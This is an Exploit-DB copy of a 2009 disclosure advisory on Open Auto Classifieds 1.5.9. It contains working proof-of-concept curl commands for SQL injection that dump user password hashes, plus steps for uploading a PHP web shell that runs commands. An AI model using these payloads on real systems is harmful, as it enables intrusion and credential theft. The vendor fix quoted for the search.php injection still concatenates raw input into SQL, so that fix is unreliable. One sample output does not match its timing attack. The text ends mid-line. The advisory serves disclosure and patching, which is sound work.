Exploit-DB #9530
Description: Open Auto Classifieds 1.5.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-08-26
Author: Andrew Horton

Exploit:
MorningStar Security - Advisory
http://www.morningstarsecurity.com/

Multiple security issues in Open Auto Classifieds


1. Advisory Information
----------------------------------------------------------------------------------------------
Title: Multiple security issues in Open Auto Classifieds
Advisory ID: MORNINGSTAR-2009-01
Advisory URL: http://www.morningstarsecurity.com/advisories/
Release Type: Co-ordinated, responsible disclosure


2. Vulnerability Information
----------------------------------------------------------------------------------------------
Class: SQL Injection, Insecure File Upload, Cross Site Scripting, Filepath Disclosure
Remotely Exploitable: Yes
Locally Exploitable: No


3. Vulnerability Description
----------------------------------------------------------------------------------------------
Open Auto Classifieds is a vehicle listings manager that is popular with
car dealer websites. It's written in PHP + MySQL and is available free
at http://openautoclassifieds.com/.

Multiple vulnerabilities exist in Open Auto Classifieds. These
vulnerabilities can be exploited to allow access to read any information
from the database, attack web browser clients through the web site,
disclose the file path of the application and execute any arbitrary
command on the web server.

Other security issues exist such as the registration form asks for a
password once, not twice for verification.


4. Vulnerable packages
----------------------------------------------------------------------------------------------
Open Auto Classifieds versions <= 1.5.9


5. Non-vulnerable packages
----------------------------------------------------------------------------------------------
Open Auto Classifieds versions >= 1.6.0
A filepath disclosure vulnerability is not fixed in version 1.6.0


6. Vendor information, Solutions and Workarounds
----------------------------------------------------------------------------------------------
Upgrade, or apply the code fixes shown with each vulnerability.
Brandon from Open Auto Classifieds was very helpful with his fast respsonse.


7. Credits
----------------------------------------------------------------------------------------------
These vulnerabilities were discovered and researched by Andrew Horton
(urbanadventurer) from MorningStar Security.


8. Technical Description / Proof of Concept
----------------------------------------------------------------------------------------------

8.1 Introduction

Open Auto Classifieds powers many car dealer websites. No advisories for
this software have been released before. Multiple SQL injection, File
upload, XSS (Cross Site Scripting) and Filepath disclosure
vulnerabilities were found in version 1.5.9.


8.3 SQL Injection in xml_zone_data.php
----------------------------------------------------------------------------------------------
Severity: High

Allows arbitrary SELECT SQL injection to the database.

8.3.1 Proof of concept exploit

$ curl "http://test/openauto/xml_zone_data.php?filter=1%20union%20select%20concat(0x0a,user,0x3a,pass,0x3a,0x0a)%20from%20users" | grep ":" | sort -u

This will give you the usernames and passwords in a standard unix passwd
format. Note that the raw MD5 hashes are salted with a suffix of _a*"

8.3.2 Fix
Vendor note:
Improper int check for $filter
Fix: Change line 31 of xml_zone_data.php to "$country_id =
(int)$filter;" I have tested against your method and no longer have the
specific leak.


8.4 SQL Injection in search.php and listings.php
----------------------------------------------------------------------------------------------
Severity: High

Allows for blind sql injection attacks on the start_zip parameter.

8.4.1 Proof of concept exploit

$ curl -d "min-price=&max_price=&start_zip=BENCHMARK(1000000,MD5(1))&zip_range=10000&state=Illinois&submit=Search&vehicle_type=&make=&model=&year=&listing_condition=&trans=&drive_train=&sellerid="  http://test/openauto/listings.php

 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100  1508  100  1508    0     0  13220      0 --:--:-- --:--:-- --:--:--     0
admin:d84a2130b6b52449c62c6d1b2474b3c9:
abcdef2:244cb02b9766b05428ccbd22115668ce:
abcdef:2fa7971a36b0efe65bf6acfc30f54c48:
blahblah:7f7dcf3819834d82d0ece5fd7397ddb9:


8.4.2 Fix
Vendor note:
It seems the cause of this was having the zip field type as a varchar in
the db and in the listings.php I was checking as a dissimilar type thus
allowing the issue. After making the below change I was unable to
reproduce the timing issue.
FIX: Change line 109 in the listings.php to this $addOnSQL.="zip = '" .
$_POST["start_zip"] . "'";


8.5 Insecure File Upload in useredit.php
----------------------------------------------------------------------------------------------
Severity: Critical

Leads to arbitrary command execution

A registered user can upload a malicious profile image. The program
checks if an extension after the first dot in the filename is in a
whitelist. This means that a file nameed, lala.jpg.php would be
accepted.

This issue also affects uploading images in the add and edit listings
pages available to admin users. The issue is located in the
checkAllowedExt() function.

8.5.1 Proof of concept exploit

1. Register a user at /register.php
2. Upload a PHP script as a profile picture named blah.jpg.php
3. Go to the member.php page and view the source for the thumbnail URL
  eg. <a href="member.php?action=viewfull"><img src="images/users/abcdef2053blah_thumb.jpg" alt="abcdef" /></a>
4. Go to http://test/openauto/images/users/USERNUMBERblah.jpg.php to access the php script
  where USER is your username and NUMBER is the number in the thumbnail filename.
  eg. http://test/openauto/images/users/abcdef2638blah.jpg.php?cmd=id


#!/bi